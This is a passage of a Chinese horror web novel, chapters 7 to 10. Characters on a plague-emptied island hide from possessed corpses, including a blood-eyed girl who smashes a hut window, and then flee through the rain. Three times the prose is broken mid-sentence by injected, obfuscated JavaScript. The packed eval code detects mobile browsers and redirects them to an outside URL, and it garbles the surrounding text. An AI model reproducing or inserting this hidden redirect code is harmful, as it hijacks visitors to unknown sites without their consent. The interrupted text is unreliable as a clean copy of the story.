萧明灿望向侧方那截断崖,更远处是望不到尽头的茫茫海水。 “……什么?” 檀妄生道:“他们的夫人、孩子,也将会是这个下场。” 他看着她的眼睛,能感受到那镇定目光下掩藏的恐惧,就像海面下暗涌的波涛。但即便如此,他还是补充了句:“那两人是所有随行登岛的侍卫里,唯一成家,并且有孩子的人。” 周围一片死寂。 一种强烈的不安感涌上心口,萧明灿在此之前从未有过这种感觉。她知道关于那侍卫的“起死回生”并非是什么诊断失误的误会。 那种程度的烧伤即便能让他活到第二天,但也只是回光返照的残喘而已。他或许可以说些话,但绝对不可能会站起来,他的内脏……甚至是骨头,都已经熟透了,怎么可能像没事人一样—— 既然他已经死了,那么他为何会“复活”? “它终于消失了”是什么意思? 如果……如果“它们”终于从他眼前消失了的话,如果他不再看到幻觉了的话,那他“死而复生”后说的那一句,类似于极其诡异的诅咒的话又是什么意思? 还有,重伤到如此程度的人真的能活下来吗?究竟是因为某种强大的意志力,还是被那东西…… 萧明灿沉默了半晌,问:“……他袭击那两个侍卫了吗?” “如果你指的是直接动手的话,那并没有。那副身体和被扎漏的米袋没什么区别,即便想要袭击,就算是十岁小儿,也足以躲得掉。”檀妄生道:“但如果你说的是另一种意思的话……” 他故意停顿了下,就像是某种一时兴起的幼稚趣味般,欣赏着国师故作镇定的模样,笑了笑道:“的确,他们此刻就埋在你的脚下。” 萧明灿感觉心脏在怦怦直跳,一种想要逃避真相的冲动在脑海深处发出尖叫。 她缓缓转过头,看向言生,一字一句问:“……在他们出海之后,那两个侍卫的家里出过什么事吗?” 言生紧绷的神情已经给出了答案。 她沉声道:“一个半月前,陈四家的夫人在从娘家探亲回来的路上,马车突然失控滚下山坡。包括夫人和她怀中一岁大的孩子在内,马车上的五人皆无一生还。” 天边传出闷重的隆隆声。寒意渗进狐裘的绒领,宛如冰霜般冻住了附近的皮肤。 “一个月前,就在我们临行的前几日,赵明安的夫人在卧房里上了吊,孩子胎死腹中。” 言生语气有些艰涩,“在他夫人出事前几天,照顾她的一个老妈子说,那段时间她一直闭门不出,在房间里乱画着什么,都是些肢体扭曲,五官怪异模糊的东西。嘴里念叨着说自己怀了个怪物。当时大家都以为是他夫人临近生产,家人夫君又不在身边,精神出了问题,但……” 突然间,一道闷雷刺穿云层,劈向远处的断崖,照亮了几人沉重的面孔。 “……她没有生病,也没有精神失常。” 一阵长时间的沉默后,萧明灿低声说:“有人在害她们。” 7. 荒屋 可是,是谁要害她们? 既然陈四和赵明安两人在得知那侍卫“死而复生”后,第一时间就想着将人赶紧救出去,就证明他们两人和那侍卫并没有什么仇怨。就算有仇,也不可能会到残杀其无辜家人的地步。 如果不是那重伤的侍卫买凶所为,难道是其他人? “……那两人在宫里当差时从没犯过什么错,也没和任何人争吵过。” 几人沿着陡峭的小径往山下走。言生跟在萧明灿后方,稍抬一手虚护着国师。她回想着关于那两个侍卫的事,难以置信道:“前不久,赵明安还和同僚聊过家里的事,说自己马上就要当爹了……他们一家相处和睦,为人淳厚,怎么可能会与人结如此深的仇?” “……所以,这不是仇杀。” 萧明灿拽着厚重的衣摆,低眼注意脚下的路,顿了顿,又补充道:“也没有任何人杀他们。” 言生说:“……没有人动手?” 萧明灿点点头。这条路没有她们之前爬上山经过的那条难走,大概是因为影将军和那些随从经常跑到这地方埋尸,生生在这片枯草堆里走出了路。但即便如此,坡道上也散着不少碎石木枝,稍不注意,就有可能失足滑倒。 她跨过一截半身长的断枝,稍吐口气,解释道:“如果说马车失控坠崖,尚有行凶杀人的疑点的话,那么赵明安的夫人,就完全没有任何被人逼迫自|杀可能。要知道,当时府中还有日日照顾她的下人,如果先前有人一直恐吓她,那些下人不可能察觉不到问题。” 就算退一步来讲,或许也不乏有行凶者买通下人做假证的可能,但……就像言生说的那样,一个从不与人结仇的普通人家,怎么可能会突然被人重金买命? 况且,两家人出事的时间实在是太巧了——她们几乎在那个烧伤的侍卫说出那句话不久,就接连以一种极其惨烈的方式死亡。而又偏偏正巧,赵明安的夫人在死前也有过无法解释的反常行为。 难不成这又是“它们”做的? “……既然不是诅咒邪术,那它到底是什么鬼东西?”言生沉声道,“难不成它还会‘预言’皇城里要发生的惨剧?” “不是‘预言’。”走在前面的檀妄生纠正道:“是‘笃定’。它笃定两家夫人一定会死,所以才会这么说。” 言生简直不敢相信自己的耳朵,刚想反驳说皇城怎么可能会有那东西,但紧接着一想,之前那几个随他们出海的官员,明明船上没有任何生病中蛊的契机,可他们还是莫名其妙发了狂……如果他们是在皇城里沾染上的呢? 如果那东西跟着他们上了船呢? 如果今日这些疑点重重的诡谲事儿和三年前那场营啸有关的话……既然它们能去边境,又为什么不能来皇城呢? 那鬼东西到底是什么? 言生右手始终紧压刀鞘。先前那两个侍卫身上恐怖的伤处一直在她脑海里挥之不去,听到的那些诡异之事使得这副景象又蒙上了层令人心惊胆寒的阴影。或许大多数人看到自己认识的人活生生变成了一个非人的怪物,就是这种感觉。 不知是第几次,她目光戒备地扫向四周。那些枯树在寒风里发出尖锐的唰唰声,被踩得塌折的枯草一下一下耸动着,看起来像是某种即将要从地上爬起来的干尸。 “……所以这就是将军指的‘它们’吗?” 不知沉默了多久,萧明灿轻声开口,“用恐惧吞噬活人,逼着他们以惨绝人寰的方式结束性命,然后再……”她回想着檀妄生所说的侍卫“死而复生”后发生的事,“占领他们的残破不堪身体?” 檀妄生点点头,“没错……不过,与其说是‘占领’,我更愿意将这种行为称之为‘接管’。毕竟当它们利用那副躯体现身时,原本的人就已经死于伤势过重了。” 即便之前隐约有过猜测,但真听到这话时,萧明灿还是不免觉得匪夷所思。 哪怕按照鬼神之论来解释,至少鬼魂附体的是活人完好之躯。而且,虽然民间传说里也提到过,一些鬼同样会和人抢占身体,以此来继续在世间生活下去,但鬼可不会像“它们”那样,让其先把自己的身体搞得面目全非,然后再去占领。 即便按死人起尸来讲也行不通。起尸虽毫无理智,可那好歹是死者本身的一缕残魂所化…… 萧明灿下意识抬眼,灰黑色的云逐渐向海岛逼近,就像众志成城的士兵包围着一座孤城。云层里时不时滚过猛兽咆哮似的闪电,几乎快要盖过耳边呼啸的风声。 萧明灿止住了胡思乱想。此时此刻,几人已经走上了石板路。雨从乌黑的云层里急坠而下,噼啪砸在地面上,与残留的血水和肉碎一起流向一侧的泥土。 萧明灿想到了什么,稍稍回头,那两艘大船就停在岸边,随着海浪微微摆动。甲板上似乎聚集了不少人,巴掌大的人影来回走动,但可惜枯树和山石挡着,她看不清具体发生了什么。 “先去前面的荒村里避一避吧。” 旁边的檀妄生拎着火铳,在雨中瞧了眼萧明灿,目光在那右眼下的两颗小黑痣上停留了一瞬,又轻飘飘地转向她脸上那道花猫似的灰印,笑着道:“岛上荒芜,药材稀少,国师若是淋雨生了什么病,事情可就难办了。” 萧明灿想要问什么,但雨却越下越大。一道雷电劈穿云层,锋利地刺向几人不远处的一颗枯树,树梢骤然四分五裂,伴着一声巨响,飞溅着砸向四周。当几人赶到荒屋时,木门正随着狂风来回摆动,发出尖锐的嘎吱嘎吱声,看起来像是屋子突然有了灵魂,并且不欢迎任何想要靠近的人。 檀妄生一把扶住木门,朝里稍一偏头,贴心地给国师让路。 屋内一片昏暗。因为荒废太久,以至空气里始终弥漫着一股腐木和潮湿的气味。萧明灿觉得这要比尸腐好得多。 言生帮萧明灿脱下淋湿的大麾。萧明灿瞧向屋子正中央的小方桌,那上面还摆着两双早已落灰的碗筷。她将大麾搭在椅背上,余光瞥见墙面上挂着的一幅画,那似乎是什么人像,但画像大部分都陷在了阴影里,又蒙了层灰,根本看不清画的到底是什么。 她靠在窗边,习惯性打量着这间曾因离奇疫病而荒废的渔屋:不远处被打开的木柜、散在周围的衣物 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736348|157334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、门槛附近碎裂的瓷片——数年前的某一日,也许同样也是个阴沉天,屋子的主人正准备度过一天里难得的休息时刻,一个村民突然跑了过来,说出了他们最不想听到的噩耗。 就像是听到了城破的百姓,两人惊惧不已,甚至来不及收拾任何东西,只能匆匆拿点傍身的钱财离开这里,因为太过仓惶,以至于在他们离开时,失手碰倒了小柜上的花盆。 “……这也许是这个家里最华丽的摆件了。”檀妄生瞧了眼地上的青纹瓷片,关了门,随口评价道。 雨声被隔绝在外面。萧明灿没有收回目光,仍看着地面上的瓷片,终于问出了想问已久的话:“……它们之后要做什么?” “这要看国师问的是哪种了。”檀妄生瞧了眼四周,把铳抛给随从,拿起放在门边的斧头,在手里掂量了几下,道:“如果单单只论我们亲眼看到的话,它们会接管重伤之人的濒死之躯,然后再利用其去制造恐惧。” 这么说着,他抡起斧头,劈开木椅,扳下椅背上的一块木板,充当横闩卡在了门上。 萧明灿看着他的动作,低声问:“如果只论它们真正的目的呢?” “……国师应该已经猜到答案了。”檀妄生说:“就像山上死的那些人一样,它们会如此反复,不断制造恐惧,传播恐惧,就像是一场——” 檀妄生目光瞥向言生,她正掏出火折子,去点桌上的烛灯。身后的随从一把扣住她手腕,压低声音:“别点灯,会被发现的。” 言生隐感不妙,和萧明灿对视一眼,“……会被发现什么?” 紧接着,外面忽然传来一阵突兀的喧嚷声。 这声音被暴雨和雷电遮掩,又夹杂在寒风中,听起来忽远忽近,似真似幻。萧明灿能分辨出有人在说话,但却听不清他们到底在说些什么。 难道是船上那群人过来了? ……但是,影将军怎么可能会轻易让他们登岛?方才不是还用火铳将他们赶回船上了吗? 难道是小沈将军偷偷带人下来的? 可既然想要登岛,为何要大摇大摆顺着石路进荒村里?这不是明摆着暴露行踪吗? 萧明灿没有轻举妄动,看向旁边的檀妄生,出乎意料的是,檀妄生并没有任何阻止的想法,只是听戏似的靠在窗侧,抱着胳膊,闭目养神。 突然,房门被人敲响,一道极其尖锐嘶哑的声音从门外泄入:“……有人在吗?” 那声音听起来简直让人头皮发麻。 就像是有人在这男人的脖颈上生生划了一刀,往里塞了大团大团棉花,接着伤口又被人里里外外一针一线缝上了一样……破败不堪。 那根本不是人能发出来的声音。 言生额角抽跳,几乎是本能地护在了萧明灿身前。 拍门声仍在继续。 “……有没有人,有没有人?让我进去,外面好冷,外面好冷……” 令人窒息的死寂里,言生无声抽刀,木偶般僵硬地转向国师,眼里尽是难以置信的荒谬。 那不是船上的人。 他到底是谁? 8. 百鬼夜行 “……有人吗?屋里有人吗?嗬嗬……” 男人喉咙里溢出闷闷的咯血声。言生笃定,如果有个人突然被人一刀捅穿肋下,就会发出这种声音。 屋内无人说话。 男人猛地拍打房门,嘶嚎着喊道:“——有人吗?!有没有人!有没有人!” 腐朽的木门发出难以承受的砰响。一片静默里,那声音听起来就好像有一把锤子在一下一下敲击着心口。萧明灿看向窗棂,试图弄清外面的情况,但陈旧发灰的窗纸隔绝了一切。 那个男人到底是谁? 难道是先前那两批登岛的官员吗? 还是同影将军一起流放孤岛的随从? 萧明灿单手撑着窗台,另一手解开狐裘系绳,试图放缓呼吸。 “屋子里有没有人……让我进去!让我进去!嗬……” 男人的声音越来越嘶哑,越来越低弱,就像是被扎漏的水袋。而紧跟着,更多的嘈杂声从雨中传来。透过窗棂,萧明灿隐约能看到几团黑影正缓慢地往前走,不多时,又摇摇晃晃拐进了对面几户院子。 怎么这么多人? 难道他们都已经…… 萧明灿看向檀妄生。 檀妄生依旧靠着墙壁,正慢条斯理地检查着火铳前膛。似有所感,他也稍一抬眼,冲萧明灿微微一笑,就像全然没听到门外的喊叫似的,更没有任何开枪的打算。 不知过了多久,拍门声渐渐停止了。那人似乎终于放弃了这里,跌跌撞撞地走出院子,很快便彻底消失在了灰白的窗纸里。 气氛压抑到了极点。 萧明灿觉得有些劫后余生。她扫向周围几人,就算是那几个随从,此刻的脸色也都不太好看。的确,这种蹊跷离奇的未知危险和直面血肉的冲击几乎没几个人能承受得了,哪怕他们曾经历过比这更惨烈的场景,也永远没办法做到毫无波动。 “我们刚刚看到的是什么?”半晌后,言生荒唐地喃喃,声音在阵阵雷声中几不可闻,“难道这不是话本里才会有的百鬼夜行?” 檀妄生停下手中动作,瞧了眼萧明灿,目光短暂地在她轻点窗台的手指上停留了一瞬,道:“看来国师大人还有想要问的。” 外面的大雨仍在下,那些嘈杂声逐渐走远了,似乎都进了周围的空屋里。 沉默不过半晌,萧明灿缓缓开口:“……影将军既然清楚知道山上那些人的死因,想必在那些人生前,就已经对他们的一举一动了如指掌。” 檀妄生抱着火铳,目光始终没有离开萧明灿,“我猜大人接下来要问,既然如此,我们为何还要放任‘它们’在岛上游荡?” 萧明灿其实有很多问题想问,比如刚刚他们登岛发生冲突时,它们为什么不出现,如今却在下雨时突然出现;比如山上到底埋葬了多少人,才能够滋养整个小山顶的树;比如之前来的那百人到底在哪里,难道他们都已经出事了吗?那么外面的那些诡异的“人群”中,到底有多少是先前来的官吏侍卫?又有多少是檀妄生的人? 这座与世隔绝的荒岛到底隐藏着什么秘密?又或者说,到底是否有人在刻意制造这些让人恐惧的“谜题”? 难道这也是一场“表演”吗? 就像山上刻意露出一截手臂、等着她去发现端倪的尸体一样。这也是檀妄生“捉弄人”的一部分?只是单纯地想去看她被一个又一个恐怖的怪事吓到脸色苍白又混乱的模样,只为了报复三年前她在刑牢里对他做的事? “……虽然我很想看到国师不为人知的另一面。”檀妄生意有所指道,“但不是现在。这只是个巧合,我们从没想过今日会突然下这么大的暴雨,也没想到国师会比计划中早两日登岛。” “……暴雨?”萧明灿听出了这话里的关键,低声说:“将军是说,它们之所以过来,是因为雷雨天?” 檀妄生点点头,“它们喜欢这种日子……就像是小狗爱晒太阳?对于它们来说,这种雨雾弥漫的阴天要比黑夜更具吸引力,也更适合……制造恐惧。” 萧明灿道:“就像是一种本能?” “没错。” 萧明灿想起了之前那个剜眼侍卫的遭遇,当他出现幻觉的时候,恰巧也是个阴雨天。 她顿了顿,看向檀妄生,说:“将军还没有回答我的问题。” “我为何不杀了它们?”檀妄生说,“这就是棘手所在。它们当中,不是每一个都像那两个侍卫一样……行动笨拙。这座荒岛虽然能住人的位置有限,但地方远比国师想得要大的多。只要它们双脚没断,就能走到任何你无法想象到的地方,藏身在某个你随时可能会失足坠崖的峭壁洞穴里。国师大人,它们远比我们当中任何一个人都要了解这里。” 了解? ……为什么? 难道这里是它们的“巢穴”不成? 萧明灿没说话,只是静立在那儿,凝视着窗纸。 “况且,”檀妄生朝窗外稍抬下把,说:“那里面还有就连我们也不认识的人。” ……谁? 这座极其偏远的孤岛自影将军被流放前就已荒废多年。周围的渔民都知道关于这座岛的疫病传闻,就连出海也都对这附近避之不及,生怕沾染晦气。后来影将军过来后,有官府的船时常在附近巡逻,不允许任何无关之人靠近。 有谁会无缘无故地过来,又轻易成了那群怪物任意操控的器皿? 言生想要说什么,却听萧明灿身侧的墙边忽然传来细微的异响。 几个随从眼神一变,当即收枪抽刀,而早就握刀的言生比他们都快一步。她无声走向角落,因为远离屋子里唯一的窗户,又没灯烛可点,那整面墙几乎都被阴影覆盖着,墙边立着个摆放杂物的木柜,足有半人高。而发出异响的来源就在柜子下面的木屉里。 里面开始发出类似瓷瓶相碰的声音。 言生站在侧方,看了眼周围几人,另一手稍稍抬剑,然后抽出了木屉。 “吱吱吱……吱……” 那是一只……老鼠。一只极其胖的老鼠。 它似乎完全没发现自己的藏身之处已经暴露,正陶醉地抱着一块东西啃食,就好像它终于找到了此生以来最好吃的食物。 无人居住的荒村里为何会有老鼠? 这东西仅靠村民留下的零星粮食活了这么多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14736349|157334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年?还胖成这样? 下一刻,言生心底泛上一阵恶寒。 它们以尸体腐肉为生。 言生手起刀落,将那耗子巴掌胖的身体钉在了木屉里。然而就在这一瞬,木屉里一书卷微微抖了抖,紧接着一道黑影吱吱着爬出木屉,飞快地窜上木柜。因为受惊,它一路东窜西撞,碰掉了几个茶杯,寂静的屋中接连爆发出几声脆响。 那老鼠仍在往高处爬去。 萧明灿直觉不妙,看向眼前窗户,只见一团模糊的人影果然出现在窗纸上,还未等她向言生示意,便见那黑影突地极速逼近,就像是飞掠过来似的。 萧明灿后退了几步,抬手探向狐裘下的匕首,然而下一瞬,就被身边人拉住胳膊,一把拽到了窗侧—— 与此同时,那老鼠爬上木柜,又跳到旁边的盆里,那铜盆发出清脆却极其突兀的声响。老鼠焦躁地四处乱窜,就在跳上窗台的一瞬间,突然发出一声惨嚎。 萧明灿清楚地看着这一幕。 一支银簪突然间捅穿了窗纸,生生将老鼠刺了个对穿。 屋内顿然一静。 下一瞬,银簪骤然回撤,只留下老鼠躺在窗台上,腿还在一抽一抽地动,身下鲜血顺着窗沿滴滴答答往下淌。 屋内几个随从看着那窗孔,不约而同地往两边阴影里撤。言生照做。 下一刻,距离破孔上方不远处,银簪再次捅进窗纸。萧明灿看到那黑影慢慢扩大,模糊地显现出外面人的轮廓:个子不高,刚刚到窗棂中间的位置;盘着发髻,发髻上似乎还绑着类似铃铛的东西,随着她的动作发出微微清响。 她紧贴着窗棂,正透过破洞朝屋内看去,但一无所获。 “咦?怎么没人呢……” 与那男人厉鬼般嘶哑的嗓音不同,她的声音非常轻盈、欢脱,仿佛只是个对这间荒宅感到好奇的小女孩。 萧明灿目光缓缓下移,看向那躺在血泊里的老鼠。 啪、啪、啪—— 那银簪不断开始戳刺窗纸,每一次刺穿窗纸,就会贴着窗格刮动一圈,那簪子与木头划刮的声响在阵雨中变得尤为清晰,这感觉就好像有柄小勺慢慢穿过头颅,在几人的头骨里上一下一下轻轻挖刮着。所有人僵站在原地。 感觉到腹部略微收紧,萧明灿低眸瞥向搭在前腹的手,才注意到自己就靠在檀妄生身上,几乎被他抱在怀里。 仿佛过了一辈子那么长,女孩几乎撕破了整扇窗纸,她欢快地轻哼起来,再次靠近窗棂,向内窥探。 女孩转动着眼珠。萧明灿还未来得及看清她的脸,就看到了她的眼睛,霎时头皮一麻。 那眼球几乎是凸出来的。瞳仁的部分消失了,取而代之的是一片浑浊的白,而围绕白色瞳孔周围,是密密麻麻的红血丝—— 几乎是在她看到这恐怖景象的瞬间,一只手捂住了她的眼睛。 一片黑暗里。萧明灿眼前不断闪现着那女孩的眼睛,但比这更令人惊骇的,是那个女孩的脸。 ……小女孩,扎着两个小髻,脸上涂了层白粉,脸颊和嘴唇红得像血。 是那个侍卫剜眼前看到的“幻觉”。 9. 女孩 “……咦?” 小女孩转了圈布满血丝的眼珠,最后定在椅背上的大麾,轻快道:“这里有人呀!” 她几乎把整张脸都贴在了窗棂上,因为没了窗纸遮挡,阴沉苍白的光线顺着窗格照进房间,滑入一片幽暗中,以至附近几个站在暗处的人也无可躲藏。小女孩看向角落里那个站在阴影下、露出肩头的男人,高兴地笑了起来。 “你看得见我吗?” 那随从立刻闭上了眼睛。 “你看得见我呀,你看得见我呀!” 萧明灿站在靠近门的墙边一侧,她仍被人捂着眼睛。一无所知的黑暗中,那女孩的声音在阵阵雷声中变得越发清晰,越发刺耳,她甚至能想象到那女孩就站在她身侧,歪头看着她,笑着说:“你为什么不看看我呢——” 搭在腹部的手缓缓收紧,似乎感觉到了她不稳的呼吸。萧明灿下意识地想去握住那只手,就像是在黑暗里寻求阳光的一种不由自主的本能。但当她稍一抬指时,就打消了这个念头,转而狠切了下指腹的划痕,用刺痛压过了那离奇的胡思乱想。 屋内所有人都没有说话。 小女孩嘟哝一声:“看见我为什么不回答呢?这里是我家呀……” ……我家? 萧明灿忽然想到了什么,犹豫片刻,稍稍扳下檀妄生的手,看向远处那幅挂在墙上的画。 她之前猜得没错,那的确是一幅人像画。 半昏半明的光线下,一个女孩就站在那里,大概只有十一二的模样,身穿绿色冬袄,扎着两个精心编束小髻,手里抱着条胖鱼,腕上还带着条彩绳编制的手链。如果不看脸的话,萧明灿觉得那应当是个被父母养得极好的孩子,可爱、懵懂,又不乏透着股天真的热情。 但她的面容却极其诡异。 女孩整张脸都被抹成了白色,那是画成之后被人为涂上的,应该是面粉之类的东西。也许是被人来来回回修补数次的缘故,使得那脸白得异常显眼,而双颊和嘴唇则被涂得发红,因为颜料用的是血,以至时间一长,屋内潮湿,血迹洇染周围,变成了模糊而渗人的褐色。 ——这是窗外的那个小女孩。 萧明灿想起了檀妄生刚刚说的那句:“……外面还有就连我们也不认识的人。” 那个就连影将军也不认识的人是谁? ——是这里的村民。 可这渔岛的村民不是早就已经离开了吗? 女孩开始拍打着窗格,嘴里一直质问着“为什么不理我”。雨越下越大,几道轰隆雷声短暂地盖住了女孩的话音。她停下了动作,定定站在窗外,那双凸起的眼睛直勾勾盯着屋中每一处能看到的地方。 被发现的随从始终没有睁眼。 下一刻,木窗发出“砰!”地一声震响,女孩几乎是在用拳头捶砸着窗格,就像是个在疯狂拍打铁笼,试图用尽一切方法去吸引角落里瑟瑟发抖的狗崽的恶童。 萧明灿觉得眼前的一切就像是场怪诞的噩梦,但比起那些血肉狰狞的躯体,更令她感到悚然的,是这些“活死人”背后的谜团。 假设这些人是当初被……遗落在这儿的村民,那么多年前导致这地方成为荒岛的那场疫病,究竟是什么? 难道那场疫病真的和那些所谓的“它们”有关吗? 还有,这些人又是怎么回事? 他们是活人吗?如果是活人……萧明灿再次想到了那双布满血丝的眼睛。 如果他们早已死亡,那么是如何在荒岛生活近五年之久的?又是如何躲过檀妄生和那些随从的? 仅仅只是靠躲在无人所知又极其陡峭的山洞中度日? 昏沉的阴影下,萧明灿稍稍低眼,瞥向护在身前的那只手——无疑的,在这种令人不安的处境里,她几乎无法去忽视这个怀抱的存在。淡光无法照进的阴影挡住了他手背上的伤疤,她看着他修长的手指,或许那其中还夹带着曾经受过的刑伤。 他对此全然不在意,就像方才在山顶上提起旧事时所表现的那样,此刻他也没有丝毫越矩的想法:带着绝对支配意味的禁锢,挑拨般的摩挲,亦或是威胁似的将她稍稍推向窗边。他什么都没做,仅仅只是将手轻搭在她身前。阴影同样挡住了她身后那张面容。 她抬起眼,再次看向那吊诡的人像画。 这么多年以来,影将军难道就从没踏进过这个谜云重重的渔村吗?难道就从没踏进过这间还算保存完好的荒宅吗? 难道他就从没注意过那画上被刻意涂抹过的诡异面容? 既然如此,又为何偏偏选择了这一间荒宅? 萧明灿静静吸了一口气。 身后人的话,她又能信几分? 不知过了多久,正当他们逐渐开始对这惊心动魄的拍窗声感到麻木时,女孩停止了动作。 她放下了鲜血淋漓的手,却依旧没有离开的打算,而是把额头慢慢顶在了窗格上,看着窗台上的老鼠,咕哝般念叨着:“我好饿……可以给我一点食物吗?我好饿……我好饿……” 她用手扣进窗格,反复多次,却只能摸到老鼠的皮毛。她再次焦躁起来,嘴里不停道:“好饿,好饿……我已经四天没有吃饭了……肉……” 檀妄生稍稍低头,附在萧明灿耳边,用只有两人能听见的声音道:“国师的体力怎么样?” 萧明灿下意识道:“什么?” “进岛山路崎岖,我本想着在此暂避风雨,但没想到……”檀妄生耸耸肩,似乎对此也有点儿无可奈何,说:“我们现在必须离开了,国师。” 话音刚落,女孩开始疯狂地拉动窗格,似乎想要扯下整扇窗户。但即便那副身躯里藏着个非人的怪物,也同样被这十多岁大的清瘦身体所限制,无论她怎么捶砸,陈旧的窗棂始终都未曾松动半分。 几个随从看见了檀妄生打的手势,从衣襟里取出一块白色长布,绑在了眼睛上。 与此同时,小女孩又放下了手,接着后退了两步,缓慢地转动那布满无数条血丝的眼珠,目光蓦然一停。她俯身捡起地上一块掌心大的石头,猛地砸向窗棂。 言生心下一凛。那窗棂虽然还算结实,但也经不起那小女孩不要命地往死里砸。因为石头略小,以至那女孩每砸一下,都会不小心擦到握石的指尖。言生看着那开始颤动的窗格,和上面缓缓滴落的血,稍微抬起了刀。 旁边那个眼上带着刀疤的随从按住了她,“再等等。那群人还没有走远,现在动手,会引来更多人。” 言生一顿。走远? 他们去了哪里?觅食吗? 窗口又是一声砰响。 檀妄生对萧明灿道:“闭上眼睛。” 萧明灿犹豫了片刻,听话照做。檀妄生放下虚挡着萧明灿眼睛的手,在腰侧取出一块同样的白纱布,蒙住了她的眼睛。 就在此时,窗格终于不堪重砸,发出一声细微的哀吟,接着“砰”地断裂了大半截。尖锐的木楞划伤了女孩的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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因为淋了雨,“它”脸上故意涂抹的“妆容”褪了大半,鲜血和白胭脂融在一起,如水痕般丝丝下淌。即便他看不清,也能感受到。他不由自主地想着。甚至能想象出那女孩曾经白嫩的脸庞。 他脚步停了一瞬。 “方守安!” 离女孩最远、只能走向门边的随从低喝着唤了他一声。 叫方寸安的随从收回思绪,大步前走,朝着手无寸铁的“它”挥刀—— 女孩仍旧直直地盯着他,稍微歪头,似乎完全不懂他要做什么,声音也变得稚嫩懵懂:“哥哥,我只是饿了,我想吃点东西……” 方寸安的手略微一顿。突然间,他想起了自己年幼的妹妹。 “——方寸安!”随从低骂一声,抽刀朝女孩走去。 木栏边,萧明灿看着那突然僵站在女孩前面的随从。窗棂和墙挡着,她看不清女孩究竟做了什么,也听不清屋内的话。没由来的,她额角抽跳起来。 女孩继续道:“哥哥,我只是饿了,你看看我,你看看我,我和‘它们’不一样……我只是想回家——” 她话音猝然一停,怔怔低头,看向那自后穿胸而出的长剑。 雷电轰然劈下,砸进远处的枯树丛,将屋内短暂地照亮一瞬。 接着,女孩慢慢地、一寸一寸地转过头,用那双凸起的血眼看向言生。 檀妄生攥住萧明灿的手腕,“快——” 屋内爆发出撕心裂肺的惨叫。 10. 真凶 直到目前为止,在萧明灿二十七年的人生中,只有过两次这种感觉。 而当萧明灿第一次经历那场意外时,她年幼到甚至不知道该用何种言语去形容那种感觉,只觉得心脏怦怦狂跳,耳边的声音像隔了层水似的嗡鸣不清,眼前的画面也变得扭曲模糊。 熊熊烈火里滚出的浓烟几乎把天都染黑了。 彼时她就站在太子寝殿外,恰巧目睹几个身上着火的人挣扎着从滚滚黑烟中跑出。他们脚步踉跄,不停拍打衣物,嘴里来不及任何发出哀嚎,便滚下了台阶。救火的禁军侍卫赶忙朝那几人身上泼水,刚要指挥救人,又被寝殿里骤然荡出的热浪生生逼退了数步。 那些“救太子”的话转瞬就被偏殿房梁坍塌声淹没了,取而代之的是几个全身熏黑的宫人惊恐低泣的声音。 萧明灿从未见过如此惨绝人寰的景象。她那时不过十岁,看着火光里渗出的浓烟,它们随风翻动,仿若还有人被困在那火海里挣扎哀嚎。 明明就在昨日那里还一片祥和。她看着小公主坐在太子腿上剥着糖吃,那时正值午后,阳光洒进窗棂,给两人镀了层温暖的光影,美得就像一幅画。明明昨日她临走时这里还好好的。 禁军已经开始组织人去救火。而火场里,又有两三人跌跌撞撞地从火里跑了出来,摔下了台阶,再也没有起来。 ——荒诞至极的不真实感。 那是萧明灿第一次体会到这种感觉。 而此时此刻,那种随时间埋葬在记忆深处的感觉又再次卷土重来。巧合的是,眼下这情景和当年竟也极为相似。 萧明灿奔跑在雨中,衣袍随着寒风翻起,周遭浮荡着昏沉的雨雾。她单指勾下白布,稍转过头,看到雾中隐隐浮现出数道摇摇晃晃的人影,他们行动迟滞,姿势怪异,却如同逃命般地在加快脚步,就像是从着火的医馆里突然冲出的病人。 檀妄生没带任何蒙眼的纱布,瞧了她一眼,“上一个好奇心这么足的人,已经成为那槐树的养料了。” “屋子里到底发生了什么?”萧明灿罩着兜帽,回过头来,“那女孩为什么会发出那种叫声……她还活着?” 檀妄生并没有直接回答,“国师要知道,她就算还活着,也已经不是原本的她了。就像我们之前说的那样,那东西已经接管了她的身体。如今国师听到的惨叫声,不过是那东西源于女孩本身的记忆,以此制造恐惧的手段。” 恐惧的手段…… 萧明灿想起了三年前那些被送回皇城的将士们。除了狰狞诡异的伤疤之外,他们当中还有个关键的相同之处,这些人最终都死于一刀封喉。而如今,小山顶上埋葬的那两具尸体,颈前也都有相同割口,或许那埋在下面的所有尸首皆是如此。 顺着白布底部的缝隙,萧明灿瞥了眼檀妄生腰侧那把小型单管铳,“所以将军才会选择一剑封喉,只有这样他们才不会发出声音。” “还有一点。”檀妄生说:“只有这样,他们才会彻底死亡,而不是继续拖着那副残缺的身体到处游荡。” 雨声几乎盖过了两人的话音。 他们离开那间屋子后并没有跑到枯树丛那边暂避,反而是沿着这条石板路深进了荒村。两侧房屋因为年久失修,皆有不同程度的损毁。即便隔着一层白纱,萧明灿也能看出几间屋子的窗棂上溅着大片大片的陈年血迹,以及几堵白墙被火烧出的焦痕。 